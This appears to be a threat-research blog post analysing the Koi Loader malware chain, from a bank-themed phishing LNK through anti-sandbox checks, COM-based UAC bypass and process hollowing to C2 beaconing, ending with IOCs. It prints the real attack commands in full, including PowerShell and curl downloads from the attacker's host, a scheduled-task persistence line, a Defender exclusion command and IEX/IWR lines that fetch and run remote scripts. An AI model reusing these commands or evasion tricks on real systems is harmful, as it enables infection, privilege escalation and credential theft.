Koi Loader Analysis

Published on
July 2025
Koi Loader Analysis

Introduction

In today’s malware landscape, loaders play a critical role as the initial foothold in multi-stage attack chains. One such loader that has quietly gained traction is Koi Loader — a stealthy, modular dropper observed delivering a range of final payloads, including stealers and RATs. Despite being lesser-known than families like SmokeLoader or PrivateLoader, Koi Loader exhibits advanced techniques such as UAC bypass via COM objects, anti-VM evasion, and custom beaconing logic.

In this blog, we’ll break down a recent Koi Loader sample from its entry point — a malicious LNK file — through unpacking the binary, analyzing its inner logic, and dissecting its C2 communication strategy. This analysis aims to give threat researchers and defenders a deep dive into how Koi Loader operates under the hood.


Koi Loader Attack Chain

Based on recent investigations, Koi Loader employs a sophisticated multi-stage infection process that ultimately delivers Koi Stealer.

Stage 1: Initial Access & Loader Delivery
  • Phishing email with a ZIP archive—often named using current month and bank-themed names like Chasebank_Statement_May.zip.
  • The archive contains a malicious .LNK file disguised as a document or folder, which, when executed, initiates the loader chain.
Stage 2: LNK-Facilitated Payload Delivery
  • The .LNK launches PowerShell or curl via inline obfuscated commands.
  • These commands download script payloads (e.g., .js, .bat) to %ProgramData%, %Temp%, or similar directories.
  • It then schedules tasks with schtasks to periodically execute these scripts using wscript or cscript, maintaining persistence.
Stage 3: Secondary Script Loader
  • The script chain typically involves:
    • A JavaScript (or BAT) runner fetching additional stages,
    • A PowerShell downloader, retrieving more sophisticated loader logic.
  • Anti-analysis defenses are common, including sandbox and VM detection.
Stage 4: Koi Loader Execution
  • The final loader is known as Koi Loader.
  • It performs environmental checks (e.g., detecting VM or sandbox).
  • It decrypts and injects or runs the Koi Stealer payload directly in memory.
Stage 5: Koi Stealer — Data Theft & C2 Communication
  • Koi Stealer harvests browser credentials, cookies, system info, and more.
  • It establishes an encrypted C2 channel to exfiltrate data.
  • Often uses customized packet structure with X25519 crypto for secure key exchange.

Initial Access: Weaponized LNK Shortcut

What is an LNK File?

LNK files — also known as Windows Shortcut files — are used to point to executable files or directories. They typically have the .lnk extension and are automatically created by the Windows operating system when you create a shortcut.

In malware delivery, LNK files are often abused to:

  • Masquerade as documents (with misleading icons or filenames),
  • Bypass macro-based detection (as they don’t need macros like Office files),
  • Act as droppers or loaders by executing PowerShell, CMD, or other binaries silently.

SHA256: 311d17e119c43e123a8dc7178ec01366835e6b59300ac1c72b7dd2b5e7aaa9c0

Let’s see how it looks like from outside:

The name mimics a legitimate bank statement, specifically from Chase Bank, with a timestamp to increase credibility (march_2025).

By default, Windows hides known file extensions, so the victim sees only chase_march_2025 — with no visible .lnk extension to raise suspicion. To reinforce the deception, the attacker sets the icon to that of a PDF file, making the shortcut appear as a legitimate bank statement. This combination makes it highly likely that the target mistakes the malicious shortcut for a real bank statement in PDF format.

image1

To know what an LNK file actually does, one of the simplest techniques is to right-click the file → Properties → Shortcut tab and check the "Target" field. This reveals the full command that will be executed once the user opens the shortcut. Malicious LNKs usually hide obfuscated PowerShell, JavaScript, or batch commands here.

Attackers often take advantage of this by embedding stealthy PowerShell payloads that download and execute malicious content — exactly like in the sample we’re analyzing here.

image2

Full command:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  -command $pdw = $env:programdata + '\' + ('9rqn56sj2m9os1.js q2o55or38'); $getf='Dow'+'nl'+'oadF'+'ile'; $xks3k1b8nm0p03af1zq = New-Object Net.WebClient; $wscs = 'wscript '; $xks3k1b8nm0p03af1zq.$getf

$pdw = $env:programdata + '\' + ('9rqn56sj2m9os1.js q2o55or38');

  • $env:programdata expands to C:\ProgramData, a common location for dropped files that doesn’t typically trigger UAC prompts.
  • The string '9rqn56sj2m9os1.js q2o55or38' appears to contain:
    • A JavaScript filename (9rqn56sj2m9os1.js)
    • Possibly a second argument, junk filler, or identifier (q2o55or38)

So $pdw becomes:
C:\ProgramData\9rqn56sj2m9os1.js q2o55or38

This path is likely used for storing or executing the second-stage payload.

$getf = 'Dow' + 'nl' + 'oadF' + 'ile';

  • This is simple string obfuscation, used to evade detection.
  • It reconstructs the string "DownloadFile" at runtime, so: $getf = "DownloadFile"

This tactic helps bypass YARA or AV rules that rely on literal function names.

$xks3k1b8nm0p03af1zq = New-Object Net.WebClient;

  • A new .NET WebClient object is created — commonly used in PowerShell malware to download payloads.
  • In effect, this will become: (New-Object Net.WebClient).DownloadFile(URL, Destination)

$wscs = 'wscript ';

  • This sets up a variable to later invoke Windows Script Host (wscript.exe), the default interpreter for .js, .vbs, and .wsf files.
  • It hints that once the JavaScript file is dropped, it’ll be executed like so: wscript C:\ProgramData\9rqn56sj2m9os1.js

$xks3k1b8nm0p03af1zq.$getf

  • This line calls the method constructed earlier — effectively: $xks3k1b8nm0p03af1zq.DownloadFile(...)

So far, the script:

  • Builds a path under C:\ProgramData\
  • Obfuscates "DownloadFile" to avoid static string detection
  • Creates a WebClient object to download a file

But there is no domain or IP address is visible, also we don’t know what “q2o55or38” means. The string is cut off — likely due to Windows’ ~260 character limit in the GUI. So, we escalate to proper tooling.

To recover the full command line arguments, we used lnkparse, a powerful tool for parsing LNK metadata.

To install LnkParse3, simply run:

pip install LnkParse3

Once installed, you can parse a .lnk (Windows shortcut) file with:

lnkparse file.lnk

The result:

image3
Command line arguments:
-command $pdw = $env:programdata + '\' + ('9rqn56sj2m9os1.js q2o55or38'); 
$getf='Dow'+'nl'+'oadF'+'ile'; 
$xks3k1b8nm0p03af1zq = New-Object Net.WebClient; 
$wscs = 'wscript '; 
$xks3k1b8nm0p03af1zq.$getf(
  'https://studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/ventage3a.php', 
  '9rqn56sj2m9os1.js'
); 
. ('curl.e'+'xe') -s -o 5zf330te4nxl 'https://studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/caginessEBuk.php'; 
mv 5zf330te4nxl 'q2o55or38.js'; 
. ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn q2o55or38;

First it downloads first-stage payload

$xks3k1b8nm0p03af1zq.DownloadFile(
  'https://studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/ventage3a.php', 
  '9rqn56sj2m9os1.js'
)

A JavaScript file is downloaded to C:\ProgramData\ with name '9rqn56sj2m9os1.js'

Then it fetches an additional payload via curl

curl.exe -s -o 5zf330te4nxl 'https://studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/caginessEBuk.php'
mv 5zf330te4nxl 'q2o55or38.js'
  • The attacker uses curl.exe (a trusted LOLBin) to download a second payload.
  • Then it renamed to another .js file 'q2o55or38.js'

Then it achieves persistence via scheduled task

schtasks /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn q2o55or38
  • A new scheduled task is created to execute the JS file every minute using wscript.exe.

With the LNK now fully deconstructed, we’ll skip over the JavaScript layer and focus directly on the binary it ultimately delivers. That’s where the real functionality begins.


Koi Loader: Binary Execution and Capabilities

SHA256: 6ba8a745da36ed86f9edd685a2d0d93b9e7b4ba537f431fe8dec07d4b7035363

We’ll first unpack the binary using UnpacMe to extract the actual loader payload and observe its behavior in a clean state.

https://www.unpac.me/results/670d8553-53f3-40c5-b5da-cdd749a1dcd5

image4

After downloading the unpacked sample, let’s load it into IDA

Check User Language

First it retrieves the default user interface language for the current user — a common technique used by malware to determine the system's locale without triggering obvious red flags.

image5

It then checks the result against a hardcoded list of language identifiers, according to Microsoft Docs the language identifiers translated to:

if (UserDefaultLangID == 1049  || // Russian
    UserDefaultLangID == 1067  || // Armenian
    UserDefaultLangID == 2092  || // Azeri (Cyrillic)
    UserDefaultLangID == 1068  || // Azeri (Latin)
    UserDefaultLangID == 1059  || // Belarusian
    UserDefaultLangID == 1087  || // Kazakh
    UserDefaultLangID == 1064  || // Tajik
    UserDefaultLangID == 1090  || // Turkmen
    UserDefaultLangID == 2115  || // Uzbek (Cyrillic)
    UserDefaultLangID == 1091  || // Uzbek (Latin)
    UserDefaultLangID == 1058)    // Ukrainian

These values correspond to Russian and post-Soviet states, commonly used by malware authors to avoid infecting systems in their own region to reduce local legal risk or avoid targeting domestic users.

Check Sandbox Environment

In addition to checking the system's locale, the binary calls a function (sub_408A00) designed to detect analysis environments and prevent execution under suspicious or sandboxed conditions. If any of its checks return true, the malware exits immediately.

Display Device Checks (Virtual GPU Detection)

The malware uses EnumDisplayDevicesW to enumerate installed display drivers and looks for virtualization strings like:

  • "Hyper-V"
  • "VMWare"
  • "Parallels Display Adapter"
  • "Red Hat QXL controller"

If any of these are detected, it assumes a virtual environment and exits.

image6
VBox File Presence (VirtualBox Detection)

It expands paths like:

  • %systemroot%\System32\VBoxService.exe
  • %systemroot%\System32\VBoxTray.exe

Then checks if those files exist and are not directories. Presence of either confirms a VirtualBox setup.

image7
File System Artifacts (Sandbox Artifacts)

It checks for unusual combinations of files in AppData and Documents including:

  • Recently.docx, Opened.docx, These.docx, Are.docx, Files.docx
  • Resource.txt, OpenVPN.txt
  • new songs.txt with content "Jennifer Lopez & Pitbull - On The Floor\r\nBeyonce - Halo"
  • Check for "BAIT" string inside Resource.txt, OpenVPN.txt.
image8

These are honeypot artifacts used by sandboxes to simulate real user activity.

"Jennifer Lopez & Pitbull..." is Sandbox test data

image9
Wallet File Check

Then it attempts to locate a cryptocurrency wallet file:

  • %appdata%\Jaxx\Local Storage\wallet.dat

As missing of this file may flag the system as non-user-like.

image10
Username & Hostname Fingerprinting

Uses GetComputerNameW and GetUserNameW to compare against known analyst/sandbox names, including:

  • "Joe Cage", "Paul Jones", "WDAGUtilityAccount", "PJones", "Harry Johnson", "Admin"
  • Hostnames like "WILLCARTER-PC", "SFTOR-PC", "FORTI-PC", "ANNA-PC"
  • It also checks for usernames containing "d5.vc/g" and hostname DESKTOP-ET51AJO.
image11
Memory & Resolution Profiling

The loader uses GlobalMemoryStatusEx and GetSystemMetrics to check:

  • RAM size
  • Screen resolution
  • Username

If the machine has less than 3 GB of RAM, screen resolution is 1280x720, the username is “Admin” and the computer name is exactly 8 characters long, it assumes it's running in a sandbox and stops running.

image12
Document Enumeration Trap

It scans the user’s Documents directory for .doc, .docx, .xls, and .xlsx files, but only counts those that are exactly 15 bytes in size—a pattern common in sandboxes that generate dummy files. If it finds 20 or fewer of these small files, it assumes the environment is artificial and terminates.

image13 image14
Final Check: Running as PowerShell

If all other checks pass, it inspects its own filename via GetModuleFileNameW() and searches for "powershell.exe" in the path. If it detects it was launched directly via PowerShell, it exits.

image15

If everything looks legit, it returns 1.

The function begins by calling sub_4071D0

The function sub_4071D0 retrieves the system's unique MachineGuid from the registry path:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

It first attempts to open the registry key with standard access. If that fails, it retries with KEY_WOW64_64KEY to account for 32-bit/64-bit redirection on Windows.

Once the key is opened, it:

  • Queries the size of MachineGuid,
  • Allocates a buffer from the process heap,
  • Reads the value and stores it in machine_guid.

It then performs light validation:

  • Ensures the type is REG_SZ or REG_EXPAND_SZ,
  • Null-terminates the string,
  • Limits the length to 60 characters.

If a destination buffer (this) is provided, it copies the result into it and returns success.

image16

After the function executed it is followed by GetVolumeInformationW to extract the C:\ drive serial number. These values are combined into a custom GUID structure, which is formatted with StringFromGUID2 and then used to create a named mutex.

image17
What is mutex?

A mutex (short for mutual exclusion) in malware is like a lock that prevents more than one copy of the malware from running at the same time on the same machine.

If the mutex already exists (ERROR_ALREADY_EXISTS = 183), the loader exits — ensuring only one instance runs per system.

Then sub_4026E0 function implements a custom Mersenne Twister (MT19937)-like pseudo-random number generator. It uses GetTickCount() as a seed and maintains a 624-entry state table (dword_40A508) to produce 32-bit pseudo-random values.

The initialization logic replicates the standard MT seeding algorithm:

MT[i] = (0x6C078965 * (MT[i - 1] ^ (MT[i - 1] >> 30)) + i)

— which is the classic formula used to initialize the Mersenne state vector.

https://github.com/woodruffw/snippets/blob/master/mersenne/mersenne.c

The function then performs state twisting and tempering phases, applying several XOR and shift operations, just like the original MT19937 spec.

image18

The final result is returned as an unsigned integer — and in the context of this binary, it’s used to randomize a delay interval (e.g., 60 to 600 seconds) for C2 callbacks or staging behaviors.

This custom PRNG implementation avoids calling standard rand() or relying on Windows RNG APIs — both to evade detection and ensure platform-consistent, reproducible entropy.

Then it Calls WSAStartup() to initialize Winsock for C2 communication and tries to acquire a crypto provider (CryptAcquireContextA) for AES/RSA usage.

image19

Then it copies C2 string from word_401D18 into szUrl.

image20

The C2 address is stored in word_401D18 as a UTF-16LE encoded wide string: tp[:]//217.156.66[.]15/gnathopoda[.]php.

image21

The loader uses a manual loop to copy this string into a buffer (szUrl)

After reconstructing the C2 string, the loader initializes the COM library using CoInitializeEx, preparing the environment for any COM-based operations used later in the infection chain. It then resolves a writable path by expanding %TEMP%\%paths% using ExpandEnvironmentStringsW, and creates a new file at that location via CreateFileW with write access. This file handle is stored in a global variable.

image22
Bypass UAC prompt & Windows Defender

Before beginning of this section, we need to understand what is COM object.

A COM object (Component Object Model object) is a fundamental Windows technology that allows different software components to interact with each other — even if they are written in different programming languages.

Malware uses COM objects to launch elevated processes without triggering a UAC prompt, register a malicious binary as a handler for a COM object CLSID in the registry, and execute code under using trusted Windows components to avoid detection.

Let’s continue

Next, sub_407310 function attempts to achieve elevated execution via a COM-based UAC bypass, but only under specific user conditions.

It begins by resolving environment variables such as %ComSpec%, %ProgramW6432%, and %ProgramData%, and constructs a path for a JavaScript payload named r<GUID>.js.

image23

It uses Add-MpPreference with PowerShell command

/c "powershell -command Add-MpPreference -ExclusionPath 'C:\\ProgramData'"

to exclude C:\ProgramData from Windows Defender scanning.

image24

The function then retrieves the current username and calls NetUserGetInfo to confirm that the user is a member of the “Users” group.

image25

If so, it proceeds to executes sub_4094B0.

sub_4094B0 uses native APIs (RtlInitUnicodeString, NtQueryInformationProcess) and direct memory manipulation to modify the current process’s internal structures, spoofing them to appear as if the binary is explorer.exe.

image26 image27

Once the process has been memory-spoofed to appear as explorer.exe, the malware proceeds to initialize the COM library by calling CoInitializeEx. It then attempts to trigger a User Account Control (UAC) bypass by invoking the elevated COM object {3E5FC7F9-9A51-4367-9063-A120244FBEC7} — a known interface for the ICMLuaUtil COM class, which allows execution with elevated privileges when accessed through certain elevation monikers. Specifically, the loader uses the string Elevation:Administrator!new:{CLSID} in a call to CoGetObject, which instructs COM to instantiate the target class as an elevated process, bypassing the UAC prompt. If successful, the returned COM interface can be used to spawn processes like cmd.exe or powershell.exe with administrator privileges — without user interaction.

image28

If successful, it launches cmd.exe or (default command-line interpreter) using the elevated COM object and passes the PowerShell command "/c \"powershell -command Add-MpPreference -ExclusionPath 'C:\\ProgramData'\"" to perform the windows defender exclusion.

This allows the malware to run code with elevated privileges without triggering a UAC prompt and without being caught with windows defender.

C2 Beaconing and System Profiling

The sub_406860 function (inside sub_407950) is responsible for handling all communication with the Command and Control (C2) server over HTTP(S).

It starts by dynamically obtaining the system's user-agent string using ObtainUserAgentString and converting it from ANSI to Unicode via MultiByteToWideChar. This ensures the malware mimics legitimate browser behavior, potentially evading network anomaly detection.

image29

The function then initiates a loop that tries to create an HTTP session using InternetOpenW, and connects to the target server using InternetConnectW. The hostname and path are extracted and passed via lpszServerName and lpszObjectName, with the port and protocol already parsed and handled.

image30

Upon successful connection, it crafts a POST request using HttpOpenRequestW and sets specific flags and options to fine-tune behavior (e.g., caching, redirects, timeouts). The request is then sent with a content type of application/octet-stream, indicating raw binary data. The payload it sends is defined by lpOptional, and the length is dwOptionalLength, making this function highly reusable for multiple data types or stages (e.g., sending beacons or receiving payloads).

image31

After sending, the function reads the response in chunks using InternetReadFile and dynamically reallocates memory on the heap to hold the full response. Once the data is collected, it is returned as a heap-allocated buffer, ready for further processing. All heap-allocated objects and connection handles are eventually freed to reduce memory footprint and avoid detection through resource leaks.

image32

Let’s take a step back and go to function sub_407950, it acts as a preparatory telemetry and beaconing stage. Its purpose is to gather environment-specific metadata, encrypt it, and send it to the C2 server via the sub_406860. This data helps the threat actor identify the infected host before deploying a tailored payload.

It begins by querying system-level information from the PEB (Process Environment Block), extracting the OS major and minor versions, along with the build number. Then it attempts to extract the Active Directory domain name via the LsaOpenPolicy and LsaQueryInformationPolicy APIs. If successful, it copies the domain name into a heap-allocated buffer for inclusion in the final beacon.

image33

The function then retrieves the computer name and current username in Unicode format, converting them to ANSI using WideCharToMultiByte.

image34

Next, it generates a 16-character alphanumeric random string, which is hashed using MD5 to produce a 16-byte key. This key is used in a simple XOR cipher to encrypt the final telemetry string.

image35

The data that will be sent follows a pipe-delimited format:

111|<machine GUID>|<random string>|<hardcoded version>|<OS version>|<username>|<domain>

Once constructed, the entire payload is XOR-encrypted with the MD5 key and sent to the C2 server using sub_406860. If a response is returned, it is immediately discarded (freed), indicating this is only a fingerprinting or check-in phase. All buffers and memory are properly released using HeapFree, which adds stealth by avoiding obvious signs of memory leaks or abnormal allocations.

image36
Remote PowerShell Payload Execution

The function sub_408910() is designed to execute a remote PowerShell payload hosted on an external URL. It does this by launching a hidden command shell (cmd.exe) that invokes powershell with a remote script via Invoke-WebRequest (IWR) and Invoke-Expression (IEX).

The malware expands two environment variables to locate:

  • csc.exe from .NET Framework v4.0
  • csc.exe from .NET Framework v2.0

It then uses GetFileAttributesW() to check which of the two compilers is available on the victim’s system.

image37

Then it applies a logic to determine which PowerShell script to execute:

  • If .NET v2.0 is missing or is a directory (not a file), and v4.0 exists → use sd4.ps1
  • Otherwise → use sd2.ps1

According to the file will be executed, it constructs the powershell command

/c "powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd4.ps1')"

Or

/c "powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')"

This downloads and executes the remote .ps1 script directly in memory using:

  • IWR: Invoke-WebRequest
  • IEX: Invoke-Expression

This is a classic fileless execution technique used by malware to avoid dropping payloads on disk.

Finally, the malware launches the system command shell (cmd.exe, as %ComSpec% expands to that) with the PowerShell command, which silently runs the malicious script.

Process Injection

The function sub_405CA0 implements a process hollowing technique, a common method used by malware to inject a malicious PE payload into a legitimate Windows process.

It begins by validating the memory buffer received from the command-and-control (C2) server. This buffer (lpBuffer) must start with the standard "MZ" header (0x5A4D) to be considered a valid Portable Executable (PE) file. If the PE file is not in the expected format, the function exits early to avoid crashing.

image38

Next it gets pointer to the PE header and ensures it's a 32-bit PE

lpBuffer + lpBuffer[15] = PE header offset (from DOS header)

image39

Based on the Subsystem field (offset +46), chooses which legitimate process to hollow:

  • 3 → console app → certutil.exe
  • 2 → GUI app → explorer.exe
image40

The function then initializes several process structures, including STARTUPINFO and PROCESS_INFORMATION, before creating the target process in a suspended state using CreateProcessW as dwCreationFlags is set to 4u.

0x00000004 = CREATE_SUSPENDED

This ensures the legitimate process doesn’t begin executing before the malicious payload is injected.

It then retrieves information about the new process’s memory layout using NtQueryInformationProcess to obtain the base address where the executable is mapped.

After this, the loader reads the process's memory and uses NtUnmapViewOfSection to unmap the original executable, freeing up space for the malware to be injected.

image41

Next, VirtualAllocEx is used to allocate memory inside the hollowed process, and WriteProcessMemory copies the PE headers and section data from the malicious buffer into the target process.

image42

If the PE requires relocation — meaning it cannot be loaded at its preferred base address — the function processes the .reloc section.

This involves recalculating memory addresses for certain instructions and pointers using information from the relocation table, and patching them using a combination of ReadProcessMemory and WriteProcessMemory.

After writing the code and handling relocations, the malware modifies the thread context of the suspended process. It sets the instruction pointer (EAX) to the entry point of the injected PE and writes the new base address into the process memory. Once the context is correctly configured, the function resumes the suspended thread using ResumeThread, effectively launching the malicious payload under the disguise of a legitimate Windows process.

image43

Finally, the function closes all handles to the process and thread, completing the injection phase.

image44

Final Thoughts

The examined Koi Loader sample demonstrates a well-orchestrated, multi-stage attack chain designed for stealth and persistence. Beginning with a deceptive .lnk file that leverages PowerShell obfuscation, the infection moves swiftly to drop and execute a packed binary. This loader deploys extensive anti-analysis and anti-VM checks, elevates privileges using COM-based UAC bypass, and builds a custom beacon enriched with system, domain, and user metadata. The final payload is exfiltrated to a remote server over HTTP(S), with all transmitted data XOR-obfuscated for evasion.


IOCs

Urls:

  • hxxps[:]//studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/ventage3a[.]php
  • hxxps[:]//studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/caginessEBuk[.]php

C2:

  • 217[.]156[.]66[.]15/gnathopoda[.]php